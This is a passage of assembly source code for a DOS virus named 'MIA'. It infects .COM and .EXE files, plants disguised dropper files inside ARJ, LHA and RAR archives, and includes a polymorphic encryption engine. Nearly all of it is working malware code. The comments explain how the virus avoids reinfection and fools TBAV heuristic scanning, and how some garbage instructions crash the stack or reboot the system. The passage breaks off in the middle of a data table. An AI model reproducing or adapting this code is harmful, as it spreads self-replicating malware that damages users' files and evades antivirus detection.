;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .ARJ files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Process_ARJ: test ds:byte ptr [Buffy + 08h],04h jnz Blackday ; Stop!! don't infect ARJ multi-volume archive! mov ds:word ptr [ARJ_CRC],cx mov ds:word ptr [ARJ_CRC + 02h],dx call Random_Name ; Generate random name for dropper xchg si,ax stosw ; Put 2 nulls to terminate filename and comment mov si,offset Head_2 push di sub di,si ; DI now holds basic size of ARJ header that mov ds:[Head_1],di ; MIA has just been created. call CRC32 ; Calculate CRC-32 of ARJ header mov ax,4202h xchg cx,ax pop di stosw ; Store low-word of header's CRC-32 xchg dx,ax stosw ; Store hi-word of header's CRC-32 sub ax,ax stosw ; Put what? dec ax sub di,offset Marker push di ; DI = the total size of ARJ header that MIA ; has just created. xchg cx,ax mov dx,0FFFCh ; Lseek to EOF - 4 int 03h pop cx mov dx,offset Marker call RightWrite ; Write ARJ header jnz Blackday mov cx,VirLen + VirVxD + 04h Overdrop: cwd mov ds,bp call RightWrite ; Write the dropper into file jnz Blackday and cs:byte ptr [Old_Time],0FEh or cs:byte ptr [Old_Time],1Eh jmp Comedown Blackday: call Giveback Full_Disk: ; If the disk has insufficient space for mov ax,4200h ; MIA to write the whole codes, les dx,ds:dword ptr [LowPos] mov cx,es ; then MIA should truncate the file int 03h mov ah,40h xor cx,cx int 03h Mingle: jmp Liveaid Impeach: cmp dx,0008h ; Ha?? jnbe Mingle call Exe_Check je Exephile dec dx ; Larger than 65,535 bytes? so it's invalid COM jnl Mingle ; exit if so xor al,0E9h ; First instruction... a near JMP ? jnz Comphile ; Bomb if not mov ax,ds:[di + 02h] ; Get 2nd word add al,ah jz Finishing_Touch ; Infected? go out ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .COM files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Comphile: mov ax,ds:[di + 2Dh] cmp ax,-(VirLen + 200h) ; 56,024 bytes? ja Mingle ; File is too big, bail out push ax inc ah ; Add with PSP size xchg ax,bp call MultiFormer ; Encrypt and write virus to EOF pop bp Crafty: jnz Full_Disk ; Jump if error or insufficient disk space call Lseek_BOF ; Move R/W pointer to BOF xchg bp,ax add ax,(offset Decryptor - offset VirBeg) - 03h mov ds:byte ptr [di],0E9h ; Put a near JMP opcode mov ds:[di + 01h],ax ; Put a displacement neg ah mov ds:[di + 03h],ah ; The fourth byte will be the infection marker mov ah,40h mov cl,04h ; Write four bytes Neat: mov dx,di int 03h Finishing_Touch: jmp Sick ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ This handles .EXE files ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Exephile: cmp ds:word ptr [di + 14h],offset Decryptor jb Offensive cmp ds:word ptr [di + 14h],offset Decryptor + 10h jb Finishing_Touch ; Here We go, here We go! Offensive: mov ax,ds:[di + 2Dh] ; Get low-size mov cl,10h div cx ; Divide by 16 sub ax,ds:[di + 08h] ; Subtract .EXE header size from file size mov bp,dx ; DX holds delta offset add dx,offset Decryptor push ax dx call MultiFormer ; Garble and write virus codes to EOF pop dx ax jnz Crafty ; Jump if error or disk full mov ds:[di + 14h],dx ; Brand-new IP mov ds:[di + 16h],ax ; Brand-new CS add ax,(VirLen - 0F0h) / 10h mov bp,0200h mov ds:[di + 0Eh],ax ; Brand-new SS mov ds:[di + 10h],bp ; Initial stack: (SS:0200h) les ax,ds:dword ptr [di + 2Dh] mov dx,es add ax,VirLen ; Adjust for new .EXE file size adc dx,0000h ; Affect hi-word file size div bp ; Divide new loadable module by 512 and dx,dx ; Is there a remainder? jz Constant inc ax ; if yes, then add a page Constant: mov ds:[di + 04h],ax ; Number of needed 512-page to hold .EXE file mov ds:[di + 02h],dx ; Remainder bytes mov ax,0010h ; Next line, adjust memory field for virus stack cmp ds:[di + 0Ah],ax ; Check minimum memory field... jnb Vigil ; Jump if CF=0, enough space for initial stack mov ds:[di + 0Ah],ax ; Min memory paragraph = 16 cmp ax,ds:[di + 0Ch] ; Max memory must be above or same with min memory jbe Vigil mov ds:[di + 0Ch],ax ; Max memory paragraph = 16 Vigil: call Lseek_BOF ; Aim R/W Pointer to the BOF mov ah,40h mov cl,18h ; CX = 0018h jmp short Neat Exe_Check: cmp ax,5A4Dh ; 'MZ' - Mark Zbikowski (architect of MS-DOS) je Valid_Exe cmp ax,4D5Ah ; 'ZM' - Zbikowski Mark (?) Valid_Exe: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄ[ Create random filename with .COM/.EXE extension ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Random_Name: mov ax,0008h call Ranger ; Get random number of characters in dropper's push ds ; filename inc ax mov si,ax ; SI acts as counter (number of characters) pop es Build_Name: mov al,25h call Ranger ; Get random word cmp al,0Ah ; Number or letter? jb Number ; Jump if number jne Just_Skip mov al,0F7h ; Including '-' Just_Skip: add al,06h ; Skip 7 ASCII characters Number: add al,30h stosb ; Put the character dec si ; Decrease counter (i.e. number of letters in jnz Build_Name ; filename) call Rand16 mov ax,432Eh stosw ; Put .COM extension mov ax,4D4Fh jnc Commit xor ax,0817h ; Oh, MIA may use .EXE extension too, 8-) mov ds:[di - 01h],ah Commit: stosw ret SubTtl Nemo sine cruce beatus! ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; CRC-32 generator, note that this subroutine was stolen from Zhengxi, Ltd., ; Russia. Yeah, this routine suits MIA fine, I like it 'cause it's so small, ; no need for huge CRC-32 table, for instance, Necrosoft Enterprises' needs ; 1024 bytes of memory! (excluding the routine itself). 8-( ; On entry: DS:SI = first byte of data to be calculated ; DI = number of bytes of data to be calculated ; Return: AX = destroyed ; CX:DX = CRC-32 value ; DS:SI = first byte after last byte of data ; DI = zero ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ CRC32: push bx stc sbb cx,cx mov dx,cx ; CX = DX = NOT zero Next: xor ax,ax and bx,ax lodsb ; Get a byte of data xor al,cl ; Xor it mov cl,ch mov ch,dl ; Shift byte per byte mov dl,dh mov dh,08h ; Process 8 bits More: shr bx,01h rcr ax,01h jnc Exclude ; Jump if CF=0 xor ax,8320h xor bx,0EDB8h Exclude: dec dh ; Eight times shifting? jnz More ; Not yet, loop xor cx,ax xor dx,bx dec di ; Decrease counter jnz Next ; Jump if ZF=0 pop bx not cx not dx ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .ARJ packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Marker dw 0EA60h ; ARJ valid archive signature Head_1 dw offset Basic - offset Head_2 Head_2 db offset Fleet - offset Head_2 db 07h ; ARJ version number (which archived this) db 01h ; Oldest version of ARJ that can be used db 00h ; ARJ's host OS (0 = MS-DOS, 1 = PRIMOS, etc.) db 10h ; Some flags (password, path name, etc.) db 00h ; Compression method, zero = no compression db 00h ; Type of file, zero = binary file db 49h ; Reserved field? dd 0CE534800h ; Date and time stamps, 02-19-2083 09:00:00a dd VirLen + VirVxD ; Compressed file size dd VirLen + VirVxD ; Original file size ARJ_CRC dd 41494D20h ; Packed file's CRC-32 dw 0000h ; Entry name position in filename dw 0021h ; ARJ access mode (attributes) dw 0000h ; ARJ's host data Fleet db 'TRUELOVE.EXE',00h ; ASCIZ filename db 4Dh ; ASCIZ file comment Basic dd 4F495241h ; ARJ basic header's CRC-32 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .LHA/.LZH/.PAK packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Head_3 db offset RARType - offset Method Head_4 db 00h ; Header checksum byte Method db '-lh0-' ; Archive method: stored "as is" dd VirLen + VirVxD ; Compressed file size dd VirLen + VirVxD ; Original file size dd 0CE534800h ; Date and time stamps, 02-19-2083 09:00:00a dw 0120h ; Flags? LHA_FNS db offset LHA_CRC - offset Filing Filing db 'SUPERFLY.COM' ; Filename (without ASCIZ) LHA_CRC dw 0000h ; Packed file's CRC-16 db 4Dh ; Some stuff? ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ .RAR packed file's header structure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Head_5 dw 0000h ; RAR header's CRC RARType db 74h ; Archive type? dw 8000h ; Some flags (volume, password, comment, etc.) Head_6 dw offset MultiFormer - offset Head_5 dd VirLen + VirVxD ; Compressed file size dd VirLen + VirVxD ; Original file size db 00h ; RAR's host OS RAR_CRC dd 352D4949h ; Packed file's CRC-32 dd 0CE534800h ; Date and time stamps, 02-19-2083 09:00:00a db 0Fh ; Required version of RAR archiver db 30h ; Compression method RAR_FNS dw offset MultiFormer - offset RARName dd 00000021h ; RAR file attributes RARName db 'CUTEGIRL.EXE' ; Filename (without ASCIZ) ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ MULTIFORMER, fast-polymorphic generator ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; This polymorphic engine is a development of existing engine created by ; GriYo (29A) that has been implemented on CRI-CRI and IMPLANT.6128 virus. ; So, a ton of thanks go to him. ; Warning: This engine ain't a portable one, so don't attempt to copy & paste ; it into Your virus without any modification!! ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ MultiFormer: push bx ds ; Push file handle, mov ds:[Delta],bp ; Save delta offset before writing codes pop es ; and set ES = DS Remix: xor al,al mov cx,0009h mov di,offset LowSiz repe stosb ; Clear some variables call Rand16 ; Initialize random number engine and al,01h ; 0 (SI) or 1 (DI)? stosw ; Store random displacement too call Rand16 and ax,3801h ; Choose decryptor type: forward (0) or backward stosw ; (1) and decryptor register sub al,al stosb ; Clear maximum counter for NEG/NOT SP AntiZero: call Rand16 ; This time, the encryption key test ah,ah jz AntiZero ; ?? cmp ah,0FFh je AntiZero mov ds:byte ptr [Slack + (Keybyte - Fixup)],ah mov ds:byte ptr [Slack + (Interplay - Fixup) + 01h],0F8h mov bx,Mutant / 02h mov di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset DIsk_IO) + 04h push di Altogether: call Rand16 ; Random word? stosw dec bx jnz Altogether ; Fill buffer with garbage pop di ; Restore pointer to buffer Ripple: mov ax,(offset Countermove - offset Intervention) / 02h call Ranger rol ax,01h ; Rotate a bit to the left xchg si,ax cmp ds:[LowSiz],si je Ripple ; Don't generate a "monomorphic" decryptor mov ds:[LowSiz],si call ds:word ptr [si + Intervention] cmp di,(Mutant - 07h) + offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h jnb Remix ; Buffer overflow? jump if yes, try again cmp ds:[Pointer],05h ; Decryptor is ready? jb Ripple ; Not yet call Construction mov ax,((Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h) - offset Decryptor) + ((offset Vanguard - offset VirBeg) - 02h) sub ax,di stosw ; So, a jump to entry point after decrypting pop bx ; Restore file handle mov cx,Mutant - 01h mov si,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h mov di,offset Decryptor repe movsb ; Copy decryptor from buffer into virus body call Undress ; Garble file header. db 0E8h dw (offset Slack + (offset Strike - offset Fixup)) - offset Shallow Shallow: lahf call Undress ; Ungarble file header sahf ret SubTtl Dum spiro, spero! Fractions: dw offset Countermove ; \ dw offset Centralpoint ; \ dw offset Build_Cipher ; > Five main parts of polymorphic decryptor dw offset Bombshell ; / dw offset Countless ; / Intervention: dw offset Subroutine ; Subroutines creation dw offset Trash_Call ; "Worthless" calls dw offset Conditional ; A lot of "useless" conditional jumps dw offset Caller dw offset Total_Garbage ; A dumptruck of garbage dw offset Future_Generation dw offset Garbage_Stack ; Some trashes between PUSH and POP Countermove: ; Make a MOV SI,XXXX or MOV DI,XXXX mov al,0BEh add al,ds:[Resultant] stosb mov ax,offset Decryptor - offset BootStrap stosw ret Centralpoint: ; Create pointer to encrypted codes call Total_Garbage mov al,0BFh sub al,ds:[Resultant] ; SI or DI ? stosb lea bx,[bp + 4Bh] ; LEA BX,[BP + OFFSET BootStrap] test ds:[Direction],01h jz Ahead add bx,(offset Decryptor - offset BootStrap) - 01h Ahead: mov al,ds:[Displacement] ; Get memory addressing displacement cbw cmp al,80h ; This is invalid: XOR CS:[SI+80],CL jne Normal ; the valid one is: XOR CS:[SI-80],CL inc ah ; So add 256 bytes Normal: add ax,bx stosw jmp Total_Garbage ; Fill with trashes Build_Cipher: ; Generate decryptor instruction call Nullify ; Don't generate a CALL to subroutine outside call Rand16 ; decryption loop! jnp Reggies ; Decide using a register or not mov ax,(offset Storage - offset Encryptor) / 03h call Ranger imul ax,0003h ; Integer: multiply by 3 add ax,offset Encryptor mov si,ax lodsb ; Load a decryptor mov ds:byte ptr [Slack + (Food - Fixup)],al lodsw xchg bx,ax mov ds:byte ptr [Slack + (Feed - Fixup)],bh cmp bh,12h ; ADC opcode? je Perceive cmp bh,1Ah ; SBB opcode? jne Eliminate Perceive: call Decide ; Choose either CLC or STC Eliminate: call Compound ; Choose segment override mov ah,80h ; Indicate memory operation stosw xchg bx,ax xor al,ds:[Resultant] stosb mov al,ds:[Displacement] mov ah,ds:byte ptr [Slack + (Keybyte - Fixup)] neg al stosw ret Reggies: ; Use immediate or memory referenced MOV ?? jc Intersegment ; Jump for memory reference mov al,ds:[Overdrive] ; Get chosen 8-bit register sar al,03h ; Divide by 8 or al,0B0h ; Make it immediate operand mov ah,ds:byte ptr [Slack + (Keybyte - Fixup)] jmp short Resemble Intersegment: mov al,ds:byte ptr [Slack + (Keybyte - Fixup)] mov ds:byte ptr [VirEnd - 01h],al call Compound ; Get segment prefix mov ah,8Ah stosw mov al,ds:[Overdrive] ; Get chosen byte register or al,06h stosb lea ax,[bp + (Mutant - 01h) + (offset Decryptor)] Resemble: stosw mov ax,(offset Encryptor - offset Encoder) / 03h call Ranger imul ax,0003h ; Multiply by 3 xchg si,ax add si,offset Encoder lodsb mov ds:byte ptr [Slack + (Food - Fixup)],al lodsw mov ds:byte ptr [Slack + (Feed - Fixup)],al cmp al,12h ; ADC opcode? je Convince cmp al,1Ah ; SBB opcode? jne Flush Convince: call Decide ; Choose either CLC or STC Flush: call Compound ; Choose segment prefix stosw mov al,ds:[Overdrive] or al,45h xor al,ds:[Resultant] mov ah,ds:[Displacement] ; Get displacement neg ah stosw ret Decide: in al,40h and al,01h ; 0 or 1 ? or al,0F8h ; CLC/STC mov ds:byte ptr [Slack + (Interplay - Fixup) + 01h],al stosb ret Bombshell: ; Generate a pointer increment/decrement call Rand16 ; It can be SUB SI,FFFF/ADD SI,FFFF/SUB DI,FFFF/ jnz Queer ; ADD DI,FFFF/INC SI/DEC SI/INC DI/DEC DI/LODSB/ mov ax,0C783h ; ADD DI,XXXX sub ah,ds:[Resultant] ; Swap SI/DI test ds:[Direction],01h ; Forward or backward? jnz Rising ; Branch if backward xor ah,28h ; Change ADD to SUB Rising: stosw or al,0FFh ; Only a byte?!? Mainstay: stosb ret Queer: pushf mov ax,0FC47h ; CLD + INC SI/DI test ds:[Direction],01h jz Backdoor add ax,0108h ; STD + DEC SI/DI Backdoor: sub al,ds:[Resultant] popf js Mainstay test al,01h mov al,0AEh ; SCASB opcode jnz Determine dec ax ; Else, it'd be LODSB dec ax Determine: xchg ah,al stosw ret Countless: ; Make a decryption loop but not use LOOPs call Rand16 pushf jnc Circular ; Use decrement or ADD XI,XXXX ?? mov ax,744Eh add al,ds:[Resultant] jmp short Distinguish Circular: ; ADD SI,FFFF/ADD DI,FFFF mov ax,0C683h xor ah,ds:[Resultant] ; SI/DI stosw mov ax,74FFh Distinguish: popf jz ZeroLoop ; Turn JZ into JS/JL/JLE, they equal but JS & JL mov ah,78h ; do one more excess loop, and the byte just jnc ZeroLoop ; before (last byte of buffer) or after (first mov ah,7Ch ; byte of decryptor) encrypted area ain't used. jp ZeroLoop mov ah,7Eh ; JLE opcode ZeroLoop: stosw push di scasb call Total_Garbage ; Fill with garbage call Construction mov ax,ds:[R_Bytes] sub ax,di dec ax dec ax ; Make a decryption loop stosw jmp short Wind_it_up Subroutine: ; Create a subroutine in decryptor cmp ds:[HiSiz],0001h jae Unavailable ; A subroutine already built and not called yet? call Construction push di mov ds:[HiSiz],di scasw ; Preserve a word for jump displacement Build_Return: call Total_Garbage ; Fill with junks mov al,0C3h stosb ; Store a RETN xchg ax,di pop di ; Point DI to jump displacement push ax sub ax,di ; Subtract current offset from DI dec ax dec ax ; Subtract JMP displacement length too stosw ; Store displacement pop di ret Trash_Call: ; Generate a call to subroutine mov cx,ds:[HiSiz] jcxz Unavailable ; Subroutine already built? branch if not mov al,0E8h stosb ; A near call xchg cx,ax sub ax,di ; Calculate displacement stosw Nullify: and ds:[HiSiz],0000h ; Mark that there is no subroutine Unavailable: ret Conditional: ; Choose one of twenty conditional branches cmp di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h jna Unavailable ; Don't make it as first instruction mov ax,0014h call Ranger ; Random number [0..20] test al,10h ; Test bit 4 lahf ; Store CF, ZF, SF, PF, and AF state into AH or al,70h ; Make it a conditional JMP sahf ; Restore 6 flags jz Eventual ; Bit 4 isn't set? so use conditional jumps add al,70h ; MIA also uses LOOPZ/LOOPNZ/LOOP/JCXZ ; 'cos it's like a JMP that affects CX register Eventual: stosb ; Put it push di ; Save displacement offset inc di Wind_it_up: call Total_Garbage ; Fill with garbage xchg di,ax pop di push ax sub ax,di dec ax stosb ; Put displacement pop di Discontinue: ret SubTtl Mora, aut honorabilis vita! Caller: ; Generate a call for decryptor parts cmp ds:[ReadOff],0001h jae Discontinue ; Zero? mov bl,ds:[Pointer] ; Pointer to decryptor building inc bx cmp bl,05h ; Remains the last part of decryptor? je Discontinue ; So branch call Construction push di mov ds:[ReadOff],di ; Save displacement offset scasw push bx call Total_Garbage ; Fill with trashes pop bx call Entrance ; Put one decryptor instruction jmp short Build_Return ; Fill with garbage again Total_Garbage: ; Create some rubbish call Rand16 and ax,0003h inc ax inc ax ; 2 to 5 instructions please... Fill: push ax mov al,(offset Encoder - offset Operator) / 02h cmp ds:[Pointer],ah ; So don't generate interrupt calls within je Neutral ; decryption loop, branch if not in loop yet dec ax dec ax ; Skip 2 subroutines Neutral: call Ranger ; Random in range shl ax,01h xchg bx,ax call ds:word ptr [bx + Operator] pop ax cmp di,(Mutant - 07h) + offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h jae Overflow ; What the hex! dec ax jnz Fill Overflow: ret Future_Generation: inc ds:[Pointer] ; Next part of decryptor cmp ds:[ReadOff],0000h je Time_To_Build ; Empty? time to build! cmp ds:[Pointer],03h jne Store_No_Call mov ds:[R_Bytes],di Store_No_Call: mov al,0E8h ; Create a near call stosb mov ax,ds:[ReadOff] ; A call to a subroutine sub ax,di stosw and ds:[ReadOff],0000h ; And empty buffer ret Garbage_Stack: ; Generate garbage between PUSH and POP call Push_Pop dec di mov al,ds:[di] push ax call Total_Garbage ; Fill with junks pop ax stosb ret Entrance: ; Make one decryptor instruction sub bh,bh rol bx,01h ; Rotate a bit to the left jmp ds:word ptr [bx + Fractions - 02h] Time_To_Build: mov bl,ds:[Pointer] cmp bl,03h jne Entrance dec ds:[Pointer] ret Single: ; Put one-byte junks mov ax,offset Fixup - offset Ones mov bx,offset Ones Interrupts: call Ranger ; Random number between from zero to AX pop cx ; Pop caller's next IP into CX xlat ; Load a one-byte opcode push cx ; Push again caller's next IP cmp cx,offset Insert_Nothing jne Delved ; Is it gonna be put between NEG/NOT opcode? cmp al,0CCh ; INT 03h ? (needs stack) je Single ; Take another opcode cmp al,0CEh ; INTO ? (ditto) je Single ; Yeah, obtain another opcode Delved: stosb ; Store an opcode Used: ret Invoke: mov al,0CDh ; Make an interrrupt calls cmp ds:[di - 02h],al je Used ; Don't generate two interrupts in same row stosb mov ax,offset Ones - offset Multimax mov bx,offset Multimax ; Choose random interrupts from table jmp short Interrupts Resource: ; Generate INT calls with certain AH/AX value call Rand16 jz Offhand ; Determine, use AH or AX mov al,0B4h stosb ; So use AH mov ax,(offset Wordz - offset Bytez) / 02h mov si,offset Bytez call Ranger add ax,ax add si,ax movsb jmp short Trickle Offhand: mov al,0B8h ; MOV AX,XXXX stosb mov ax,(offset Multimax - offset Wordz) / 03h mov si,offset Wordz ; Get a word from table call Ranger imul ax,0003h add si,ax movsw ; Put in decryptor Trickle: mov al,0CDh ; INT opcode stosb movsb ret Mover: ; Make a junk inter-registers MOV call Rand16 and ax,3F01h ; A 8/16-bit register... or ax,0C08Ah ; Of course a MOV XX,YY test al,01h ; 8-bit? jz Othertype and ah,0DBh ; AX, BX, CX, DX ? Othertype: stosw ; Don't care if source equals destination ret Immediate: ; Make a MOV with immediate value call Rand16 and al,0Fh or al,0B0h test al,08h jz Bits and al,0FBh mov ah,al and ah,03h stosb call Rand16 stosw ; Get a random word ret Bits: stosb xchg al,ah stosb ; Put immediate byte ret Reference: ; Create a MOV with memory reference call Compound ; May MIA use any segment override? stosb call Rand16 and ax,3803h or ax,0688h test al,01h ; Byte or word pointer? jz Eight_Bits and ah,1Eh Eight_Bits: stosw test al,02h ; Move into or from memory? jz Irremovable ; Branch if into memory call Segmented mov ds:[di - 03h],al call Rand16 ; Also random memory address jmp short Rejoin ; Why should jump? Irremovable: ; Be careful not to overwrite My baby's codes mov ax,offset BootStrap - (offset Buffy + 19h) call Ranger add ax,bp add ax,offset Buffy + 18h ; Point to unused gap inside MIA's body Rejoin: stosw ret Compute: ; Generate random calculation with memory call Reference push di lea di,[di - 04h] ; Point back to instruction mov al,ds:[di] and al,03h xchg bx,ax call Rand16 and al,38h ; One math opcode or al,bl stosb pop di ret Exchanger: ; Do a XCHG XX,YY call Mover ; Generate MOV version dec di dec di ; Point to that instruction again test al,01h ; Was it a 8-bit or 16-bit MOV ? mov al,86h ; 8-bit XCHG opcode jz Corrected ; Jump if 8-bit inc ax ; Swap it to 16-bit Corrected: stosw ret Rotation: ; Generate ROL/ROR/SAL/SAR/RCL/RCR XX,CL/01 mov ax,0005h ; Random [0..4] (Get AX, BX, CX, DX, or SP ??) call Ranger cmp al,04h ; SP register? jb Fine inc ax ; Don't mess with SP!! use BP instead Fine: xchg bx,ax ; Save it call Rand16 ; Get random word and ax,0D8D3h or ax,0C0D1h or ah,bl ; Set up register stosw ret Effective: ; Create a load-effective-address instruction mov dx,0040h in al,dx ; Input from PIT counter 0 or al,al jp Confused call Rand16 and al,3Eh ; Confuse it by using segment prefix or al,26h stosb Confused: mov ax,0028h ; Choose register displacement call Ranger test al,20h ; SP ? jz Valid add al,08h ; Use BP instead Valid: mov ah,8Dh ; LEA opcode xchg al,ah stosb in al,dx ; Input from PIT and al,01h xchg ah,al jnz Sequence ; Using byte/word immediate displacement or al,80h stosb call Rand16 ; Word displacement stosw ret Sequence: or al,dl ; Else, use byte stosb in al,dx ; Random byte from PIT stosb ret Launcher: ; Create "invalid" AAM opcode call Rand16 mov al,0D5h jmp short Tester Machine: ; Make a SMSW XX (Store Machine Status Word) mov ax,010Fh cmp ds:[di - 03h],ax ; Not same in a row je Flaw stosw mov ax,0005h call Ranger ; An old instruction that came with LOADALL but cmp al,04h ; the most interesting "feature" is that it can mov ah,0E5h ; fool TBAV heuristic scanning... 8-) xchg al,ah ; "Encountered an invalid instruction" !!! jnb Store_Status sub al,05h add al,ah ; Make SMSW AX, BX, CX, DX, or BP Store_Status: stosb ret SubTtl Esse quam videri... Undefined: ; Generate CLTS opcode (fool TBAV too!!) mov ax,060Fh cmp ds:[di - 02h],ax ; Not same in same row je Flaw stosw Flaw: ret Inputs: ; Make an input from random 8-bit port call Rand16 mov al,0E5h ; Immediate input opcode (input into AX) jnp Tester dec ax ; 0E4h = input into AL Tester: cmp ds:[di - 02h],al ; Repeat, never never monomorphic!! je Flaw stosw ret Outputs: ; Generate direct output onto (dummy?) port call Rand16 mov ax,0EDE7h ; This time there are two ports: js Tester xor ax,0601h ; Port 00EBh (byte) and port 00EDh (word) jmp short Tester Multiplication: ; Make a MUL/IMUL instruction with register call Rand16 ; operand mov al,0F6h jz Byte_Type ; Byte or word? jump for byte inc ax Byte_Type: and ah,0Fh ; Use any register for operand or ah,0E0h ; AL/BL/CL/DL/AH/BH/CH/DH/AX/BX/CX/DX/SI/DI/BP/SP jmp short Tester Push_Pop: ; Play with stack: PUSH and POP mov ax,offset Retrieve - offset Storage mov bx,offset Storage call Ranger xlat ; MOV AL,DS:[BX+AL] stosb cmp al,60h ; PUSHA opcode? jne PopWord ; Branch if not inc ax jmp short All_Pop ; Must be followed by POPA PopWord: cmp al,68h ; Immediate PUSH ? je Lodge ; Yup, so jump cmp al,0FFh ; Memory-referenced PUSH ? jne Cocked ; Nope, so jump dec di ; Abort last STOSB, 8-) in al,40h or al,al ; Put prefix or not? jp Antiprefix ; Ah! skip! call Segmented stosb ; Ho ho ho... any prefix will do Antiprefix: mov ax,36FFh ; PUSH WORD PTR [XXXX] stosw Lodge: call Rand16 stosw ; Get random word Cocked: mov ax,offset Bytez - offset Retrieve mov bx,offset Retrieve call Ranger xlat ; MOV AL,DS:[BX+AL] All_Pop: stosb ret Overrun: ; Generate NEG/NOT AX/BX/CX/DX/BP/SP !! mov al,04h cmp ds:[Deathblow],02h jb Allowed ; SP must be the first, 8-) mov ax,0006h call Ranger ; Choose AX, BX, CX, DX, BP, or SP Allowed: cmp al,04h ; SP register? lahf mov cl,al in al,40h ; Input from PIT counter or cl,0D0h test al,al ; Able to eliminate TBAV ! if NEG SP used, jp Hiccup ; heuristic cleaning will stop with "Approached xor cl,08h ; stack crash." else if NOT SP used, system ; will cold-reboot unexpectedly!! Hiccup: sahf mov al,0F7h xchg cl,ah jne Preserve ; Using SP ? branch if not stosw ; Store it push ax mov ax,((offset Remain - offset Operator) / 02h) + 01h call Ranger cmp al,(offset Remain - offset Operator) / 02h je Insert_Nothing add ax,ax ; Make sure MIA isn't gonna generate xchg bx,ax ; a stack-in-need garbage call ds:word ptr [bx + Operator] Insert_Nothing: ; There's a chance not to insert garbage pop ax inc ds:[Deathblow] ; Increase counter Preserve: stosw ret Compound: ; Choose segment override for memory operations mov al,2Eh ; CS: is the default cmp bp,000Fh ; Check delta offset jbe Contrast ; If below 16 then it's an .EXE file, can only ; use CS !! Segmented: in al,40h ; Else, and al,3Eh ; MIA can use any segment override or al,26h ; DS:/ES:/SS:/CS: Contrast: ret Construction: cmp bp,0010h ; .COM or .EXE file? jb Fever ; Bomb if .EXE cmp di,offset Slack + (offset Lseek_BOF - offset Fixup) + (offset Decryptor - offset Disk_IO) + 04h jna Delimit ; Don't generate a JMP in another JMP's target Fever: ; Check whether previous instruction is RETN cmp ds:byte ptr [di - 01h],0C3h jne Especial ; Actually, not only RETN will proceed here ; but it doesn't matter Delimit: push bx mov ax,(offset Remain - offset Suspicious) / 02h call Ranger shl ax,01h ; Multiply by 2 xchg si,ax call ds:word ptr [si + Suspicious] pop bx Especial: mov al,0E9h ; Store a near JMP opcode stosb ret Operator: dw offset Single ; \ dw offset Mover ; \ dw offset Immediate ; \ dw offset Reference ; \ dw offset Compute ; \ dw offset Exchanger ; \ dw offset Rotation ; \ dw offset Effective ; \ ; \ Suspicious: ; \ Garbage, trash, rubbish, dw offset Launcher ; \ junks or whatever You call dw offset Machine ; / it worthless instruction!! dw offset Undefined ; / dw offset Inputs ; / dw offset Outputs ; / dw offset Multiplication ; / ; / Remain: ; / dw offset Push_Pop ; / dw offset Overrun ; / dw offset Invoke ; / dw offset Resource ; / Encoder: db 02h,2Ah,00h,1Ah,12h,18h,2Ah,02h,28h,12h,1Ah,10h,32h,32h,30h Encryptor: db 02h,45h,2Ah,1Ah,5Dh,12h,2Ah,6Dh,02h,12h,55h,1Ah,32h,75h,32h Storage: pushf push ax bx cx dx si di bp sp ds es ss cs pusha db 68h,0FFh Retrieve: pop ax bx cx dx bp Bytez db 0Fh,10h ; AH=0Fh, INT 10h, get current video mode db 01h,13h ; AH=01h, INT 13h, get disk status db 36h,14h ; AH=36h, INT 14h, ComShare installation check db 43h,15h ; AH=43h, INT 15h, read system status db 88h,15h ; AH=88h, INT 15h, get extended memory size db 01h,16h ; AH=01h, INT 16h, keyboard keystroke check db 02h,16h ; AH=02h, INT 16h, get SHIFT key flags state db 70h,16h ; AH=70h, INT 16h, SEA FAKEY installation check db 60h,17h ; AH=60h, INT 17h, Flash-Up installation check db 61h,17h ; AH=61h, INT 17h, SPEEDSCR installation check db 00h,1Ah ; AH=00h, INT 1Ah, get number of clock ticks db 02h,1Ah ; AH=02h, INT 1Ah, get 